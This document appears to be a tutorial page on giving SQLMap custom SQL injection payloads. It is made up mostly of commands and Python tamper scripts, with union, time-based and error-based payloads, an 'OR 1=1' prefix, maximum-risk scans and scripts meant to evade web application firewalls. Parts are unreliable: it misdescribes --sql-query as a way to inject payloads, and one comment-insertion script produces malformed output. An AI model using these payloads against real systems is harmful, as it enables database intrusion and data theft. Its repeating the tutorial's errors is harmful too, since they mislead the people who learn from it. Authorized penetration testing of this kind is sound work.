---
description: >-
  SQLMap allows you to specify your own SQL queries using the `--sql-query
  option`. This is particularly useful when you want to inject specific payloads
  to test for SQL injection vulnerabilities.
---

# Adding Custom Payloads Directly in SQLMap Syntax

You can add custom payloads directly within the SQLMap syntax using the `--sql-query` option or by customizing the payloads through tamper scripts. Below, I will show you how to add custom payloads directly using SQLMap as well as through tamper scripts.

### Adding Custom Payloads Directly in SQLMap

SQLMap allows you to specify your own SQL queries using the `--sql-query` option. This is particularly useful when you want to inject specific payloads to test for SQL injection.

**Example: Using `--sql-query`**

1.  **Simple Custom Payload**

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"
    ```
2.  **Union-Based Custom Payload**

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="UNION SELECT null, database(), user(), version()"
    ```

### Customizing Payloads with Tamper Scripts

If you need more flexibility and want to systematically apply custom payloads, you can create a tamper script that modifies the default payloads used by SQLMap.

**Example: Custom Tamper Script**

1.  **Create a Custom Tamper Script**

    Create a new Python file in the `tamper` directory of your SQLMap installation, for example, `custom_payload_tamper.py`.

    ```python
    #!/usr/bin/env python
    import random
    __priority__ = 1
    def dependencies():
        pass
    def tamper(payload):
        """
        Custom tamper script to inject custom payloads
        """
        if payload:
            # Example of replacing spaces with comments and adding a custom payload
            payload = payload.replace(" ", "/**/")
            if "SELECT" in payload.upper():
                payload = payload.replace("SELECT", "SELECT/**/custom_function(),")
        return payload
    ```
2.  **Save the Script**

    Save this script in the `tamper` directory of SQLMap.
3.  **Use the Tamper Script with SQLMap**

    Run SQLMap with your custom tamper script to apply your modifications to the payloads.

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=custom_payload_tamper
    ```

### Advanced Example with Multiple Payloads

You can combine multiple payloads and tamper scripts to create more complex injection tests. Below is an advanced example where custom payloads are systematically applied to the requests.

**Example: Combining Multiple Techniques**

1.  **Create a Complex Tamper Script**

    ```python
    #!/usr/bin/env python

    import random

    __priority__ = 1

    def dependencies():
        pass

    def tamper(payload):
        """
        Custom tamper script to apply multiple custom payloads
        """
        if payload:
            payload = payload.replace(" ", "/**/")
            
        
            if "UNION" in payload.upper():
                payload += " UNION SELECT null, user(), database(), version() --"
            
             
            if "AND" in payload.upper():
                payload += " AND IF(1=1, SLEEP(5), 0) --"
            
            
            if "OR" in payload.upper():
                payload += " OR (SELECT 1/0 FROM dual) --"
            
        return payload
    ```
2.  **Save and Use the Script**

    Save this script as `complex_tamper.py` in the `tamper` directory.
3.  **Run SQLMap with the Complex Tamper Script**

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=complex_tamper
    ```

### Leveraging SQLMap's `--sql-query` Option

The `--sql-query` option allows you to directly specify SQL queries to be executed. This is useful for precise injection testing.

**Examples: Custom Queries with `--sql-query`**

1.  **Direct Version Query**

    This command checks the version of the database:

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"
    ```
2.  **Union-Based Query**

    This command retrieves multiple pieces of information such as the database name, current user, and database version:

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="UNION SELECT null, database(), user(), version()"
    ```
3.  **Subquery Injection**

    This command uses a subquery to extract table names:

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT (SELECT table_name FROM information_schema.tables LIMIT 1)"
    ```

### Using `--sql-shell` for Interactive Injection

SQLMap's `--sql-shell` provides an interactive SQL shell for executing arbitrary SQL commands.

**Example: Starting SQL Shell**

1.  **Interactive Shell**

    Start an interactive SQL shell to manually execute SQL commands:

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-shell
    ```
2.  **Executing Commands in Shell**

    Execute commands in the SQL shell to retrieve information:

    ```sql
    sql-shell> SELECT user();
    sql-shell> SELECT database();
    sql-shell> SELECT table_name FROM information_schema.tables;
    ```

### Creating Custom Tamper Scripts

Tamper scripts can modify payloads dynamically to bypass WAFs and other security measures.

**Example: Advanced Custom Tamper Script**

1.  **Script to Add Random Comments**

    Create a script `random_comment_tamper.py`:

    ```python
    #!/usr/bin/env python

    import random

    __priority__ = 1

    def dependencies():
        pass

    def tamper(payload):
        """
        Adds random inline comments to the payload
        """
        if payload:
            parts = payload.split(" ")
            payload = " /*" + str(random.randint(1000, 9999)) + "*/ ".join(parts)
        return payload
    ```
2.  **Save and Use the Script**

    Save this script in the `tamper` directory of SQLMap and use it:

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=random_comment_tamper
    ```

### Custom Payloads with `--prefix` and `--suffix`

You can use `--prefix` and `--suffix` to add custom SQL snippets before and after the payload.

**Examples: Using `--prefix` and `--suffix`**

1.  **Adding Prefix and Suffix**

    Add custom snippets before and after the payload:

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --prefix="/**/SELECT/**/" --suffix="/**/FROM/**/dual"
    ```
2.  **Injecting with Custom Wrappers**

    Wrap the payload with custom conditions:

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --prefix="' OR 1=1; /*" --suffix="*/ --"
    ```

### Using SQLMap's `--eval` Option

The `--eval` option allows for evaluating Python code before sending requests, which can be used for dynamic payload generation.

**Example: Dynamic Payload Generation with `--eval`**

1.  **Dynamic Generation**

    Generate a dynamic payload using Python code:

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import random; id=random.randint(1,10)"
    ```

### Combining Techniques for Automated Testing

You can combine multiple techniques for comprehensive automated testing.

**Example: Full Automated Test with Custom Payloads**

1.  **Advanced Custom Payloads in Combination**

    Combine various methods to create a comprehensive testing command:

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" \
       --sql-query="UNION SELECT null, database(), user(), version()" \
       --tamper=random_comment_tamper \
       --prefix="' OR 1=1; /*" \
       --suffix="*/ --" \
       --level=5 --risk=3
    ```

#### Example of an Advanced Tamper Script for Automated Testing

**Example: Randomized Time-Based Injection**

1.  **Script `random_time_tamper.py`**

    Create a script to add random time-based delays to the payload:

    ```python
    #!/usr/bin/env python

    import random

    __priority__ = 1

    def dependencies():
        pass

    def tamper(payload):
        """
        Adds a random time-based delay to the payload
        """
        if payload:
            delay = random.randint(1, 10)
            payload = payload.replace(" ", "/**/") + f" AND SLEEP({delay})"
        return payload
    ```
2.  **Use with SQLMap**

    Use the script with SQLMap:

    ```sh
    sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=random_time_tamper
    ```
